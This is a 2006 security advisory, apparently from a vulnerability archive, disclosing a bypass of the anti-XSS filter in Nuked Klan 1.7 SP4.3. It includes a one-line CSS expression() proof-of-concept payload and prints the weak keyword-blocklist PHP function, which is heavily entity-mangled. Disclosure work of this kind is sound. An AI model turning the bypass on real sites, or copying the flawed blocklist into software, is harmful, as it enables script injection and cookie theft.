Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:14099
HistoryAug 31, 2006 - 12:00 a.m.

Nuked Klan 1.7 SP4.3 : Function Anti-XSS Bypassed

2006-08-3100:00:00
vulners.com
18

// - BEGIN -

// By Blwood
// http://blwood.net <http://blwood.net/&gt;

We can bypassed the function anti-xss called nk_CSS ( nuked.php) using
like this :

<b id="blwood" style="width:expression(alert(' http://www.blwood.net'))
<http://www.blwood.net%27%29%29/>"></b>

Here is the function :

function nk_CSS($str)

{
if ($str != "")
{
$str = eregi_replace("content-disposition:","&amp;#99;&amp;#111;&amp;#110;&amp;#116;&amp;#101;&amp;#110;&amp;#116;&amp;#45;&amp;#100;&amp;#105;&amp;#115;&amp;#112;&amp;#111;&amp;#115;&amp;#105;&amp;#116;&amp;#105;&amp;#111;&amp;#110;&amp;#58;",$str);

    $str = eregi_replace&#40;&quot;content-type:&quot;,&quot;&amp;amp;#99;&amp;amp;#111;&amp;amp;#110;&amp;amp;#116;&amp;amp;#101;&amp;amp;#110;&amp;amp;#116;&amp;amp;#45;&amp;amp;#116;&amp;amp;#121;&amp;amp;#112;&amp;amp;#101;&amp;amp;#58;&quot;,$str&#41;;
    $str = eregi_replace&#40;&quot;content-transfer-encoding:&quot;,&quot;&amp;amp;#99;&amp;amp;#111;&amp;amp;#110;&amp;amp;#116;&amp;amp;#101;&amp;amp;#110;&amp;amp;#116;&amp;amp;#45;&amp;amp;#116;&amp;amp;#114;&amp;amp;#97;&amp;amp;#110;&amp;amp;#115;&amp;amp;#102;&amp;amp;#101;&amp;amp;#114;&amp;amp;#45;&amp;amp;#101;&amp;amp;#110;&amp;amp;#99;&amp;amp;#111;&amp;amp;#100;&amp;amp;#105;&amp;amp;#110;&amp;amp;#103;&amp;amp;#58;&quot;,$str&#41;;


    $str = eregi_replace&#40;&quot;include&quot;,&quot;&amp;amp;#105;&amp;amp;#110;&amp;amp;#99;&amp;amp;#108;&amp;amp;#117;&amp;amp;#100;&amp;amp;#101;&quot;,$str&#41;;
    $str = eregi_replace&#40;&quot;&#92;&lt;&#92;?&quot;,&quot;&amp;amp;lt;?&quot;,$str&#41;;
    $str = eregi_replace&#40;&quot;&lt;&#92;?php&quot;,&quot;&amp;amp;lt;?php&quot;,$str&#41;;


    $str = eregi_replace&#40;&quot;&#92;?&#92;&gt;&quot;,&quot;?&amp;amp;gt;&quot;,$str&#41;;
    $str = eregi_replace&#40;&quot;script&quot;,&quot;&amp;amp;#115;&amp;amp;#99;&amp;amp;#114;&amp;amp;#105;&amp;amp;#112;&amp;amp;#116;&quot;,$str&#41;;
    $str = eregi_replace&#40;&quot;eval&quot;,&quot;&amp;amp;#101;&amp;amp;#118;&amp;amp;#97;&amp;amp;#108;&quot;,$str&#41;;


    $str = eregi_replace&#40;&quot;javascript&quot;,&quot;&amp;amp;#106;&amp;amp;#97;&amp;amp;#118;&amp;amp;#97;&amp;amp;#115;&amp;amp;#99;&amp;amp;#114;&amp;amp;#105;&amp;amp;#112;&amp;amp;#116;&quot;,$str&#41;;
    $str = eregi_replace&#40;&quot;embed&quot;,&quot;&amp;amp;#101;&amp;amp;#109;&amp;amp;#98;&amp;amp;#101;&amp;amp;#100;&quot;,$str&#41;;


    $str = eregi_replace&#40;&quot;iframe&quot;,&quot;&amp;amp;#105;&amp;amp;#102;&amp;amp;#114;&amp;amp;#97;&amp;amp;#109;&amp;amp;#101;&quot;,$str&#41;;
    $str = eregi_replace&#40;&quot;refresh&quot;, &quot;&amp;amp;#114;&amp;amp;#101;&amp;amp;#102;&amp;amp;#114;&amp;amp;#101;&amp;amp;#115;&amp;amp;#104;&quot;, $str&#41;;


    $str = eregi_replace&#40;&quot;onload&quot;, &quot;&amp;amp;#111;&amp;amp;#110;&amp;amp;#108;&amp;amp;#111;&amp;amp;#97;&amp;amp;#100;&quot;, $str&#41;;
    $str = eregi_replace&#40;&quot;onstart&quot;, &quot;&amp;amp;#111;&amp;amp;#110;&amp;amp;#115;&amp;amp;#116;&amp;amp;#97;&amp;amp;#114;&amp;amp;#116;&quot;, $str&#41;;


    $str = eregi_replace&#40;&quot;onerror&quot;, &quot;&amp;amp;#111;&amp;amp;#110;&amp;amp;#101;&amp;amp;#114;&amp;amp;#114;&amp;amp;#111;&amp;amp;#114;&quot;, $str&#41;;
    $str = eregi_replace&#40;&quot;onabort&quot;, &quot;&amp;amp;#111;&amp;amp;#110;&amp;amp;#97;&amp;amp;#98;&amp;amp;#111;&amp;amp;#114;&amp;amp;#116;&quot;, $str&#41;;


    $str = eregi_replace&#40;&quot;onblur&quot;, &quot;&amp;amp;#111;&amp;amp;#110;&amp;amp;#98;&amp;amp;#108;&amp;amp;#117;&amp;amp;#114;&quot;, $str&#41;;
    $str = eregi_replace&#40;&quot;onchange&quot;, &quot;&amp;amp;#111;&amp;amp;#110;&amp;amp;#99;&amp;amp;#104;&amp;amp;#97;&amp;amp;#110;&amp;amp;#103;&amp;amp;#101;&quot;, $str&#41;;


    $str = eregi_replace&#40;&quot;onclick&quot;, &quot;&amp;amp;#111;&amp;amp;#110;&amp;amp;#99;&amp;amp;#108;&amp;amp;#105;&amp;amp;#99;&amp;amp;#107;&quot;, $str&#41;;
    $str = eregi_replace&#40;&quot;ondblclick&quot;, &quot;&amp;amp;#111;&amp;amp;#110;&amp;amp;#100;&amp;amp;#98;&amp;amp;#108;&amp;amp;#99;&amp;amp;#108;&amp;amp;#105;&amp;amp;#99;&amp;amp;#107;&quot;, $str&#41;;


    $str = eregi_replace&#40;&quot;onfocus&quot;, &quot;&amp;amp;#111;&amp;amp;#110;&amp;amp;#102;&amp;amp;#111;&amp;amp;#99;&amp;amp;#117;&amp;amp;#115;&quot;, $str&#41;;
    $str = eregi_replace&#40;&quot;onkeydown&quot;, &quot;&amp;amp;#111;&amp;amp;#110;&amp;amp;#107;&amp;amp;#101;&amp;amp;#121;&amp;amp;#100;&amp;amp;#111;&amp;amp;#119;&amp;amp;#110;&quot;, $str&#41;;


    $str = eregi_replace&#40;&quot;onkeypress&quot;, &quot;&amp;amp;#111;&amp;amp;#110;&amp;amp;#107;&amp;amp;#101;&amp;amp;#121;&amp;amp;#112;&amp;amp;#114;&amp;amp;#101;&amp;amp;#115;&amp;amp;#115;&quot;, $str&#41;;
    $str = eregi_replace&#40;&quot;onkeyup&quot;, &quot;&amp;amp;#111;&amp;amp;#110;&amp;amp;#107;&amp;amp;#101;&amp;amp;#121;&amp;amp;#117;&amp;amp;#112;&quot;, $str&#41;;


    $str = eregi_replace&#40;&quot;onmousedown&quot;, &quot;&amp;amp;#111;&amp;amp;#110;&amp;amp;#109;&amp;amp;#111;&amp;amp;#117;&amp;amp;#115;&amp;amp;#101;&amp;amp;#100;&amp;amp;#111;&amp;amp;#119;&amp;amp;#110;&quot;, $str&#41;;
    $str = eregi_replace&#40;&quot;onmousemove&quot;, &quot;&amp;amp;#111;&amp;amp;#110;&amp;amp;#109;&amp;amp;#111;&amp;amp;#117;&amp;amp;#115;&amp;amp;#101;&amp;amp;#109;&amp;amp;#111;&amp;amp;#118;&amp;amp;#101;&quot;, $str&#41;;


    $str = eregi_replace&#40;&quot;onmouseover&quot;, &quot;&amp;amp;#111;&amp;amp;#110;&amp;amp;#109;&amp;amp;#111;&amp;amp;#117;&amp;amp;#115;&amp;amp;#101;&amp;amp;#111;&amp;amp;#118;&amp;amp;#101;&amp;amp;#114;&quot;, $str&#41;;
    $str = eregi_replace&#40;&quot;onmouseout&quot;, &quot;&amp;amp;#111;&amp;amp;#110;&amp;amp;#109;&amp;amp;#111;&amp;amp;#117;&amp;amp;#115;&amp;amp;#101;&amp;amp;#111;&amp;amp;#117;&amp;amp;#116;&quot;, $str&#41;;


    $str = eregi_replace&#40;&quot;onmouseup&quot;, &quot;&amp;amp;#111;&amp;amp;#110;&amp;amp;#109;&amp;amp;#111;&amp;amp;#117;&amp;amp;#115;&amp;amp;#101;&amp;amp;#117;&amp;amp;#112;&quot;, $str&#41;;
    $str = eregi_replace&#40;&quot;onreset&quot;, &quot;&amp;amp;#111;&amp;amp;#110;&amp;amp;#114;&amp;amp;#101;&amp;amp;#115;&amp;amp;#101;&amp;amp;#116;&quot;, $str&#41;;


    $str = eregi_replace&#40;&quot;onselect&quot;, &quot;&amp;amp;#111;&amp;amp;#110;&amp;amp;#115;&amp;amp;#101;&amp;amp;#108;&amp;amp;#101;&amp;amp;#99;&amp;amp;#116;&quot;, $str&#41;;
    $str = eregi_replace&#40;&quot;onsubmit&quot;, &quot;&amp;amp;#111;&amp;amp;#110;&amp;amp;#115;&amp;amp;#117;&amp;amp;#98;&amp;amp;#109;&amp;amp;#105;&amp;amp;#116;&quot;, $str&#41;;


    $str = eregi_replace&#40;&quot;onunload&quot;, &quot;&amp;amp;#111;&amp;amp;#110;&amp;amp;#117;&amp;amp;#110;&amp;amp;#108;&amp;amp;#111;&amp;amp;#97;&amp;amp;#100;&quot;, $str&#41;;
    $str = eregi_replace&#40;&quot;document&quot;, &quot;&amp;amp;#100;&amp;amp;#111;&amp;amp;#99;&amp;amp;#117;&amp;amp;#109;&amp;amp;#101;&amp;amp;#110;&amp;amp;#116;&quot;, $str&#41;;


    $str = eregi_replace&#40;&quot;cookie&quot;, &quot;&amp;amp;#99;&amp;amp;#111;&amp;amp;#111;&amp;amp;#107;&amp;amp;#105;&amp;amp;#101;&quot;, $str&#41;;
    $str = eregi_replace&#40;&quot;vbscript&quot;, &quot;&amp;amp;#118;&amp;amp;#98;&amp;amp;#115;&amp;amp;#99;&amp;amp;#114;&amp;amp;#105;&amp;amp;#112;&amp;amp;#116;&quot;, $str&#41;;


    $str = eregi_replace&#40;&quot;location&quot;, &quot;&amp;amp;#108;&amp;amp;#111;&amp;amp;#99;&amp;amp;#97;&amp;amp;#116;&amp;amp;#105;&amp;amp;#111;&amp;amp;#110;&quot;, $str&#41;;
    $str = eregi_replace&#40;&quot;object&quot;, &quot;&amp;amp;#111;&amp;amp;#98;&amp;amp;#106;&amp;amp;#101;&amp;amp;#99;&amp;amp;#116;&quot;, $str&#41;;


    $str = eregi_replace&#40;&quot;vbs&quot;, &quot;&amp;amp;#118;&amp;amp;#98;&amp;amp;#115;&quot;, $str&#41;;
    $str = eregi_replace&#40;&quot;href&quot;, &quot;&amp;amp;#104;&amp;amp;#114;&amp;amp;#101;&amp;amp;#102;&quot;, $str&#41;;
    $str = eregi_replace&#40;&quot;src&quot;, &quot;&amp;amp;#115;&amp;amp;#114;&amp;amp;#99;&quot;, $str&#41;;


} 
return&#40;$str&#41;;

}

// - END -